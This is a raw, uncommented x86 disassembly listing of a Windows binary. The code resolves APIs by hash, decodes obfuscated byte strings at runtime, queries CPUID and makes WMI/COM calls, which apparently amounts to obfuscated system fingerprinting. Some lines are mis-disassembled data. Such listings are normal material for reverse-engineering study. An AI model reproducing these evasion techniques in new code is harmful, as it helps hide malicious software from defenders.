jmp case.default.0x432f4b
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je case.default.0x432f4b
lea eax, [esi + 0x188]
push 0
push 0x2c
push eax
push 0
push 4
push dword [0x456b3c]
push ecx
call fcn.00445e60
add esp, 0x1c
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x453344]
mov dword [esi + 0xc], 0
mov eax, 0xb
xor ecx, ecx
cpuid
mov edi, ebx
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
sete al
jmp dword [eax*4 + 0x45334c]
mov eax, 0xb
xor ecx, ecx
cpuid
mov edi, ebx
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
movzx ecx, byte [esi + 0x1b0]
mov dword [esi + 0xc], ecx
sete al
jmp dword [eax*4 + 0x45334c]
mov eax, 0xb
mov ecx, 1
cpuid
mov edi, ebx
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
sete al
jmp dword [eax*4 + 0x453354]
movzx eax, byte [esi + 0xc]
mov dword [esi + 0x10], eax
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x4330e4
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x433054
mov eax, 0xb
xor ecx, ecx
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x200
sete al
jmp dword [eax*4 + 0x45335c]
mov eax, 0xb
mov ecx, 1
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x200
sete al
jmp dword [eax*4 + 0x453364]
movzx eax, byte [esi + 0xc]
mov dword [esi + 0x10], eax
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x433113
mov eax, 4
xor ecx, ecx
cpuid
sar eax, 0x1a
jmp 0x433143
xor eax, eax
test di, di
sete al
jmp dword [eax*4 + 0x45336c]
mov eax, ebx
xor edx, edx
div di
movzx eax, ax
jmp case.0x42f160.91
mov edi, ebx
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x433095
mov eax, 4
xor ecx, ecx
cpuid
sar eax, 0x1a
inc eax
mov ebx, edi
jmp case.0x42f160.91
mov eax, 0x80000000
xor ecx, ecx
cpuid
mov dword [esi + 0xc], eax
mov eax, 1
xor ecx, ecx
cpuid
mov eax, 1
test edx, 0x10000000
je 0x433091
cmp dword [esi + 0xc], 0x80000008
mov ebx, edi
jl case.0x42f160.91
mov eax, 0x80000008
xor ecx, ecx
cpuid
mov ebx, edi
movzx eax, cl
inc eax
mov dword [esi + 0xc], eax
mov eax, dword [case.0x432f4b.14]
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp 0x433156
mov eax, 0x80000000
xor ecx, ecx
cpuid
mov edi, eax
mov eax, 1
xor ecx, ecx
cpuid
test edx, 0x10000000
je 0x43314c
cmp edi, 0x80000008
jl 0x43314c
mov eax, 0x80000008
xor ecx, ecx
cpuid
jmp 0x433140
mov eax, 0x80000000
xor ecx, ecx
cpuid
mov edi, eax
mov eax, 1
xor ecx, ecx
cpuid
test edx, 0x10000000
je 0x43314c
cmp edi, 0x80000008
jl 0x43314c
mov eax, 0x80000008
xor ecx, ecx
cpuid
movzx eax, cl
inc eax
mov dword [esi + 0xc], eax
mov ebx, dword [esi + 0x10]
jmp 0x433156
mov dword [esi + 0xc], 1
mov ebx, dword [esi + 0x10]
lea ecx, [esi + 0x174]
movzx eax, bx
push 0xa
push 4
push ecx
push eax
call fcn.004376f0
add esp, 0x10
mov edi, eax
mov dword [esi + 0x188], 0x5c06701e
mov dword [esi + 0x18c], 0x31024c50
mov dword [esi + 0x190], 0x3ac1cdc4
mov dword [esi + 0x194], 0x7510d6c4
mov byte [esi + 0x198], 0x54
mov dword [esi + 0x199], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0x14
ja 0x4331ec
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043c0b0
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x15
jb 0x4331c0
movzx eax, byte [esi + 0x188]
test al, al
je 0x43320d
lea ecx, [esi + 0x189]
mov edx, dword [esi + 8]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x433200
jmp 0x433210
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [edi]
test al, al
je 0x43322b
inc edi
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x433220
mov ebx, edx
mov byte [edx], 0
movzx eax, byte [esi + 0xc]
push 0xa
push 4
lea ecx, [esi + 0x174]
push ecx
push eax
call fcn.0040e540
add esp, 0x10
mov edi, eax
mov dword [esi + 0x188], 0x3c1a287a
mov dword [esi + 0x18c], 0x381ed4c8
mov dword [esi + 0x190], 0xe4e9e5ed
mov word [esi + 0x194], 0x173e
mov byte [esi + 0x196], 0x76
mov word [esi + 0x197], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0x10
ja 0x4332bc
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043c110
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x11
jb 0x433290
movzx eax, byte [esi + 0x188]
test al, al
je 0x4332db
lea ecx, [esi + 0x189]
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4332d0
mov byte [ebx], 0
movzx eax, byte [edi]
test al, al
je 0x4332fb
inc edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x4332f0
mov edi, ebx
mov byte [ebx], 0
mov dword [esi + 0x188], 0x64425c3a
mov dword [esi + 0x18c], 0x476c7074
mov byte [esi + 0x190], 0x38
mov dword [esi + 0x191], 0
mov dword [esi + 0x194], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0xf
ja 0x43336c
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043c170
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x10
jb 0x433340
movzx eax, byte [esi + 0x188]
test al, al
je 0x43338b
lea ecx, [esi + 0x189]
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x433380
mov dword [esi + 8], edi
mov byte [edi], 0
mov edi, dword [0x45581c]
mov dword [esi + 0x188], 0x39a73ba7
mov dword [esi + 0x18c], 0x25b82793
mov dword [esi + 0x190], 0x21fc23f9
mov dword [esi + 0x194], 0x2d822ff2
mov dword [esi + 0x198], 0x29be2bb8
mov word [esi + 0x19c], 0x1728
mov dword [esi + 0x19e], 0
mov word [esi + 0x1a2], 0
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0x1b
ja 0x43342c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043c1f0
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x1c
jb 0x433400
lea ebx, [esi + 0x188]
push 0x800
push 0
push ebx
call edi
mov dword [esi + 0x140], 0
mov dword [esi + 0x144], 0
lea ecx, [esi + 0x140]
mov dword [esi + 0x18], eax
push eax
call fcn.00444af0
movzx eax, al
jmp dword [eax*4 + 0x453384]
mov edi, dword [esi + 0x20]
mov ebx, dword [esi + 8]
jmp 0x4336ee
lea eax, [esi + 0x18c]
push 0x344
push 0
push eax
call fcn.0040ccf0
add esp, 0xc
mov dword [esi + 0x188], 0x348
push 0xc89947f6
push dword [esi + 0x140]
call fcn.00448c90
add esp, 8
push 0
push ebx
push 0
push 0
call eax
lea eax, [esi + 0x1cc]
mov edi, dword [esi + 8]
lea edx, [edi + 0x80]
mov dword [esi + 0x10], edx
xor edx, edx
jmp 0x4334eb
mov byte [edi], bl
mov ecx, 1
add edx, ecx
add eax, 2
mov ecx, dword [esi + 8]
lea edi, [ecx + edx]
cmp edx, 0x7f
jae 0x43356a
movzx ebx, word [eax]
test bx, bx
je 0x43356a
cmp bx, 0x7f
jbe 0x4334d0
mov dword [esi + 0xc], edi
not edi
add edi, dword [esi + 0x10]
movzx ecx, bx
cmp edi, 2
jb 0x433530
cmp ecx, 0x7ff
ja 0x433530
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov edi, dword [esi + 0xc]
mov byte [edi], cl
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
mov ecx, 2
jmp 0x4334d7
mov dword [esi + 0x14], ecx
xor ecx, ecx
cmp edi, 3
jb 0x4334d7
mov ecx, dword [esi + 0x14]
shr ecx, 0xc
or cl, 0xe0
mov edi, dword [esi + 0xc]
mov byte [edi], cl
mov ecx, dword [esi + 0x14]
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
and bl, 0x3f
or bl, 0x80
mov byte [edi + 2], bl
mov ecx, 3
jmp 0x4334d7
mov byte [edi], 0
mov eax, edi
mov ecx, dword [esi + 8]
xor eax, ecx
not ecx
and ecx, edi
add ecx, ecx
sub ecx, eax
mov dword [esi + 0xc], ecx
lea edi, [esi + 0x5c]
push 0xdc
push 0
push edi
call fcn.0040ccf0
add esp, 0xc
mov word [esi + 0xa0], 0xdc
push 0x80fdacc0
push dword [esi + 0x140]
call fcn.00448c90
add esp, 8
push edi
push 0xffffffffffffffff
push 0
call eax
lea eax, [esi + 0x738]
push 0xa
push 0xc
push eax
push dword [esi + 0x108]
call fcn.00437940
add esp, 0x10
mov edi, eax
lea eax, [esi + 0x72c]
push 0xa
push 0xc
push eax
push dword [esi + 0x10c]
call fcn.00437940
add esp, 0x10
mov ebx, eax
mov dword [esi + 0x148], 0xeb160c2e
mov dword [esi + 0x14c], 0xc7c2bacd
mov dword [esi + 0x150], 0x41eeb8d1
mov dword [esi + 0x154], 0x3f394231
mov dword [esi + 0x158], 0x343f4545
mov dword [esi + 0x15c], 0xc3e20336
mov word [esi + 0x160], 0
mov dword [esi + 0x1c], 0
mov eax, dword [esi + 0x1c]
cmp eax, 0x19
ja 0x43366c
nop
mov eax, dword [esi + 0x1c]
movzx eax, byte [esi + eax + 0x148]
push dword [esi + 0x1c]
push eax
call fcn.0043c240
add esp, 8
mov ecx, dword [esi + 0x1c]
mov byte [esi + ecx + 0x148], al
inc dword [esi + 0x1c]
mov eax, dword [esi + 0x1c]
cmp eax, 0x1a
jb 0x433640
mov edx, dword [esi + 8]
add edx, dword [esi + 0xc]
movzx eax, byte [esi + 0x148]
test al, al
je 0x43369b
lea ecx, [esi + 0x149]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x433690
mov byte [edx], 0
movzx eax, byte [edi]
test al, al
je 0x4336bb
inc edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x4336b0
mov byte [edx], pe_nt_image_headers32
inc edx
movzx eax, byte [ebx]
test al, al
je 0x4336dd
inc ebx
mov edi, dword [esi + 0x20]
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x4336d0
jmp 0x4336e0
mov edi, dword [esi + 0x20]
mov byte [edx], 0
push dword [esi + 0x18]
mov ebx, edx
call dword [0x455920]
mov byte [ebx], 0
mov dword [esi + 0x188], 0x5d5b5c79
mov dword [esi + 0x18c], 0x5114546f
mov word [esi + 0x190], 0x5354
mov byte [esi + 0x192], 0xce
mov word [esi + 0x193], 0
sub ebx, edi
mov dword [esi + 0x5c], 0
mov eax, dword [esi + 0x5c]
cmp eax, 0xc
ja 0x43375c
nop
mov eax, dword [esi + 0x5c]
movzx eax, byte [esi + eax + 0x188]
push dword [esi + 0x5c]
push eax
call fcn.0043c2a0
add esp, 8
mov ecx, dword [esi + 0x5c]
mov byte [esi + ecx + 0x188], al
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0xd
jb 0x433730
mov ecx, dword [ebp + 8]
push ebx
push edi
lea eax, [esi + 0x188]
push eax
call fcn.0040da30
jmp dword [0x45338c]
push edi
call fcn.0040cb70
add esp, 4
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
add edi, 1
mov dword [esp], edi
call fcn.0040cb60
lea ecx, [esp + 0x1d0]
mov ecx, dword [ecx]
mov edx, dword [esp + 0x204]
shl edx, 1
mov dword [esp + 0xd0], ecx
add ecx, edx
mov dword [esp + 0x214], ecx
mov ecx, eax
add ecx, edi
mov dword [esp + 0x1bc], eax
mov edi, eax
mov eax, ecx
add eax, 0xffffffff
cmp edi, eax
jae 0x433e56
mov dword [esp + 0x1b0], ecx
mov edx, dword [esp + 0x214]
test edx, edx
sete al
mov ecx, dword [esp + 0xd0]
sub ecx, edx
mov edx, dword [esp + 0x1b0]
setb cl
or al, cl
test al, 1
jne 0x433e19
jmp 0x433e56
mov eax, dword [esp + 0xd0]
mov cx, word [eax]
movzx eax, cx
cmp cx, 0
je 0x433e56
add dword [esp + 0xd0], 2
mov ecx, edi
xor ecx, 0xffffffff
add ecx, edx
mov dword [esp], edi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0043b080
mov ecx, dword [esp + 0x1b0]
add edi, eax
jmp 0x433de2
mov byte [edi], 0
mov ecx, dword [esp + 0x1bc]
mov eax, ecx
mov edi, ecx
add eax, 6
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], 2
call fcn.0043b140
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov eax, edi
add eax, 4
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0043b140
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov dword [esp + 4], edi
add byte [eax], al
add al, ch
cmpsb byte [esi], byte es:[edi]
jb 0x433e99
add byte [ecx + 0xc641c1], cl
mov dword cs:[esp + 4], edi
mov ebx, edi
mov dword [esp], ecx
mov dword [esp + 8], 4
call fcn.0043b140
mov edi, eax
inc edi
mov byte [eax], 0x20
add ebx, 8
mov eax, dword [esp + 0x3f0]
mov ecx, dword [esp + 0x3f4]
mov eax, dword [ecx + eax*4]
jmp eax
jecxz 0x433e92
test al, 0x70
mov eax, dword [esp + 0x230]
mov ecx, dword [esp + 0x234]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 4], ebx
mov dword [esp], edi
mov dword [esp + 8], 2
call fcn.0043b140
mov dword [esp + 0x3e0], 1
mov ecx, dword [esp + 0x3e4]
mov edx, dword [esp + 0x3e0]
mov ecx, dword [ecx + edx*4]
jmp ecx
dec edi
std
jmp 0x433f50
mov dword [esp + 4], ebx
mov dword [esp], edi
mov dword [esp + 8], 2
call fcn.0043b140
mov eax, dword [esp + 0x278]
mov ecx, dword [esp + 0x27c]
test byte [eax + edi*2], ah
add al, byte [eax]
add byte [ebx + 0x27c248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
adc ch, al
dec edi
push ds
mov eax, dword [esp + 0x270]
mov ecx, dword [esp + 0x274]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x100]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x2f8]
mov ecx, dword [esp + 0x2fc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1e0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov edi, eax
mov eax, dword [esp + 0x1e0]
mov ecx, edi
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00433790
mov ebx, eax
mov eax, ebx
and eax, 1
shl eax, 1
xor ebx, 1
add ebx, eax
mov dword [esp], ebx
call fcn.0040cb60
mov ecx, dword [esp + 0x1e0]
shl edi, 1
mov dword [esp + 0xcc], ecx
add ecx, edi
mov dword [esp + 0x210], ecx
mov edi, eax
add edi, ebx
mov dword [esp + 0x21c], eax
mov ebx, eax
mov eax, edi
add eax, 0xffffffff
cmp ebx, eax
jae 0x43406b
mov edx, dword [esp + 0x210]
test edx, edx
sete al
mov ecx, dword [esp + 0xcc]
sub ecx, edx
setb cl
or al, cl
test al, 1
jne 0x434035
jmp 0x43406b
mov eax, dword [esp + 0xcc]
mov cx, word [eax]
movzx eax, cx
cmp cx, 0
je 0x43406b
add dword [esp + 0xcc], 2
mov ecx, ebx
xor ecx, 0xffffffff
add ecx, edi
mov dword [esp], ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0043b080
add ebx, eax
jmp 0x43400c
mov byte [ebx], 0
mov ebx, dword [esp + 0x21c]
mov eax, ebx
add eax, 6
mov dword [esp + 4], eax
mov eax, dword [esp + 0x228]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.0043b140
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov eax, ebx
add eax, 4
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0043b140
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov dword [esp + 4], ebx
mov dword [esp], ecx
mov dword [esp + 8], 4
call fcn.0043b140
mov ecx, eax
inc ecx
mov byte [eax], 0x20
mov eax, ebx
add eax, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0043b140
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, ebx
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0043b140
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, ebx
add eax, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0043b140
mov byte [eax], 0
mov dword [esp + 0x338], 0
mov eax, dword [esp + 0x33c]
mov ecx, dword [esp + 0x338]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x1c0]
jmp eax
lea eax, [esp + 0x1c8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
lea eax, [esp + 0x490]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov edi, dword [esp + 0x28]
mov al, byte [esp + 0xd4]
mov byte [esp + 0x188], al
mov byte [esp + 0xac], 0xd9
mov byte [esp + 0xad], 0x27
mov byte [esp + 0xae], 0xa9
mov byte [esp + 0xaf], 0x21
mov byte [esp + 0xb0], 0xb2
mov byte [esp + 0xb1], 0x23
mov byte [esp + 0xb2], 0xb0
mov byte [esp + 0xb3], 0xdd
mov byte [esp + 0xb4], 0x43
mov byte [esp + 0xb5], 0xdf
mov byte [esp + 0xb6], 0x48
mov byte [esp + 0xb7], 0xd9
mov byte [esp + 0xb8], 0x54
mov byte [esp + 0xb9], 0xdb
mov byte [esp + 0xba], 0x36
mov byte [esp + 0xbb], 0xd5
mov byte [esp + 0xbc], 0x4f
mov byte [esp + 0xbd], 0xd7
mov byte [esp + 0xbe], 0x41
mov byte [esp + 0xbf], 0xd1
mov byte [esp + 0xc0], 0x4f
mov byte [esp + 0xc1], 0xd3
mov byte [esp + 0xc2], 0x38
mov byte [esp + 0xc3], 0xcd
mov byte [esp + 0xc4], 0x5d
mov byte [esp + 0xc5], 0xcf
mov byte [esp + 0xc6], 0x58
mov byte [esp + 0xc7], 0xc9
mov byte [esp + 0xc8], 0x57
mov byte [esp + 0xc9], 0xcb
mov byte [esp + 0xca], 0xca
mov byte [esp + 0xcb], 0xc5
mov dword [esp + 0x8c], 0
mov eax, dword [esp + 0x8c]
cmp eax, 0x20
jae 0x4342e3
mov eax, dword [esp + 0x8c]
mov ecx, dword [esp + 0x8c]
movzx ecx, byte [esp + ecx + 0xac]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b3c0
mov ecx, dword [esp + 0x8c]
mov byte [esp + ecx + 0xac], al
mov eax, dword [esp + 0x8c]
inc eax
mov dword [esp + 0x8c], eax
jmp 0x434296
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x490]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0xac]
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x490]
sub cx, 2
sete cl
and al, cl
movzx eax, al
mov dword [esp + 0x3a0], eax
mov eax, dword [esp + 0x3a4]
mov ecx, dword [esp + 0x3a0]
mov eax, dword [eax + ecx*4]
jmp eax
add al, 0x5f
pop esp
inc eax
mov dh, 0x44
fisubr word [ecx]
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
sub esp, 0x20
mov eax, dword [esp + 0x290]
mov ecx, dword [esp + 0x294]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
sub esp, 4
mov eax, dword [esp + 0x168]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x2d0]
mov ecx, dword [esp + 0x2d4]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [esp + 0x2a0]
mov edx, dword [esp + 0x2a4]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0041d2d0
mov dword [esp + 0x378], 1
mov eax, dword [esp + 0x37c]
mov ecx, dword [esp + 0x378]
mov eax, dword [eax + ecx*4]
jmp eax
and al, cl
movzx eax, al
and eax, 1
mov dword [esp + 0x340], eax
mov eax, dword [esp + 0x344]
mov ecx, dword [esp + 0x340]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x1c0]
jmp eax
call fcn.0041d2d0
mov eax, dword [esi]
mov dword [esp + 0x2a8], 1
mov ecx, dword [esp + 0x2ac]
mov edx, dword [esp + 0x2a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
lock or byte [eax - 0x34624c49], cl
ret
movsx ecx, word [esp + 0x498]
mov edx, 0x88888889
mov eax, ecx
imul edx
add edx, ecx
mov eax, edx
shr eax, 0x1f
shr edx, 5
add edx, eax
mov eax, dword [esp + 0x220]
mov word [eax], dx
mov eax, dword [esp + 0x398]
mov ecx, dword [esp + 0x39c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x2b0], 1
mov eax, dword [esp + 0x2b4]
mov ecx, dword [esp + 0x2b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x154]
mov byte [esp + 0x170], al
mov byte [esp + 0x158], 0x73
mov byte [esp + 0x159], 0x19
mov byte [esp + 0x15a], 0x67
mov byte [esp + 0x15b], 0x17
mov byte [esp + 0x15c], 0x60
mov byte [esp + 0x15d], 0x15
mov byte [esp + 0x15e], 0x12
mov byte [esp + 0x15f], 0x13
mov eax, 8
mov byte [esp + eax + 0x158], 0
add eax, 1
cmp eax, 9
jne 0x434639
mov dword [esp + 0x74], 0
mov eax, dword [esp + 0x74]
cmp eax, 9
jae 0x43468c
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x74]
movzx ecx, byte [esp + ecx + 0x158]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b220
mov ecx, dword [esp + 0x74]
mov byte [esp + ecx + 0x158], al
mov eax, dword [esp + 0x74]
inc eax
mov dword [esp + 0x74], eax
jmp 0x434651
lea eax, [esp + 0x158]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
sub esp, 4
mov dword [esp + 0x1c4], eax
mov al, byte [esp + 0x104]
mov byte [esp + 0x174], al
mov byte [esp + 0x108], 0xe3
mov byte [esp + 0x109], 0x31
mov byte [esp + 0x10a], 0xff
mov byte [esp + 0x10b], 0x33
mov byte [esp + 0x10c], 0xe8
mov byte [esp + 0x10d], 0x3d
mov byte [esp + 0x10e], 0xf3
mov byte [esp + 0x10f], 0x3f
mov byte [esp + 0x110], 0xfb
mov byte [esp + 0x111], 0x39
mov byte [esp + 0x112], 0xe6
mov byte [esp + 0x113], 0x3b
mov byte [esp + 0x114], 0xe4
mov byte [esp + 0x115], 0xc5
mov byte [esp + 0x116], 0xec
mov byte [esp + 0x117], 0xc7
mov byte [esp + 0x118], 0xe0
mov byte [esp + 0x119], 0xc1
mov byte [esp + 0x11a], 0xc
mov byte [esp + 0x11b], 0xc3
mov byte [esp + 0x11c], 0x1e
mov byte [esp + 0x11d], 0xcd
mov byte [esp + 0x11e], 0x19
mov byte [esp + 0x11f], 0xcf
mov byte [esp + 0x120], 0x1d
mov byte [esp + 0x121], 0xc9
mov byte [esp + 0x122], 0xea
mov byte [esp + 0x123], 0xcb
mov byte [esp + 0x124], 0xb
mov byte [esp + 0x125], 0xd5
mov byte [esp + 0x126], 0x3f
mov byte [esp + 0x127], 0xd7
mov byte [esp + 0x128], 0x26
mov byte [esp + 0x129], 0xd1
mov byte [esp + 0x12a], 0xe1
mov byte [esp + 0x12b], 0xd3
mov byte [esp + 0x12c], 0xee
mov byte [esp + 0x12d], 0xdd
mov byte [esp + 0x12e], 0x39
mov byte [esp + 0x12f], 0xdf
mov byte [esp + 0x130], 0xf
mov byte [esp + 0x131], 0xd9
mov byte [esp + 0x132], 0x2a
mov byte [esp + 0x133], 0xdb
mov byte [esp + 0x134], 9
mov byte [esp + 0x135], 0xe5
mov byte [esp + 0x136], 0x14
mov byte [esp + 0x137], 0xe7
mov byte [esp + 0x138], 1
mov byte [esp + 0x139], 0xe1
mov byte [esp + 0x13a], 0x1e
mov byte [esp + 0x13b], 0xe3
mov byte [esp + 0x13c], 5
mov byte [esp + 0x13d], 0xed
mov byte [esp + 0x13e], 0x18
mov byte [esp + 0x13f], 0xef
mov byte [esp + 0x140], 7
mov byte [esp + 0x141], 0xe9
mov byte [esp + 0x142], 0x39
mov byte [esp + 0x143], 0xeb
mov byte [esp + 0x144], 0xd
mov byte [esp + 0x145], 0xf5
mov byte [esp + 0x146], 5
mov byte [esp + 0x147], 0xf7
mov byte [esp + 0x148], 0xc
mov byte [esp + 0x149], 0xf1
mov byte [esp + 0x14a], 0x1f
mov byte [esp + 0x14b], 0xf3
mov byte [esp + 0x14c], 9
mov byte [esp + 0x14d], 0xfd
mov byte [esp + 0x14e], 0xfe
mov byte [esp + 0x14f], 0xff
mov eax, 0x48
mov byte [esp + eax + 0x108], 0
add eax, 1
cmp eax, 0x4b
jne 0x4348f9
mov dword [esp + 0x78], 0
mov eax, dword [esp + 0x78]
cmp eax, 0x4b
jae 0x43494c
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x78]
movzx ecx, byte [esp + ecx + 0x108]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b270
mov ecx, dword [esp + 0x78]
mov byte [esp + ecx + 0x108], al
mov eax, dword [esp + 0x78]
inc eax
mov dword [esp + 0x78], eax
jmp 0x434911
lea eax, [esp + 0x108]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov edi, eax
mov eax, dword [esp + 0xa8]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x50]
lea edx, [esp + 0x100]
mov dword [esp + 0x14], edx
mov dword [esp + 8], edi
mov edx, dword [esp + 0x1c4]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call ecx
sub esp, 0x18
not eax
shr eax, 0x1f
mov dword [esp + 0x460], eax
mov eax, dword [esp + 0x464]
mov ecx, dword [esp + 0x460]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x320]
mov ecx, dword [esp + 0x324]
mov eax, dword [ecx + eax*4]
jmp eax
test eax, eax
setne al
mov ecx, dword [esp + 0x298]
mov edx, dword [esp + 0x29c]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0041d2d0
mov dword [esp + 0x360], 0
mov eax, dword [esp + 0x364]
mov ecx, dword [esp + 0x360]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [eax]
lea ecx, [esp + 0x1e8]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0xec]
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
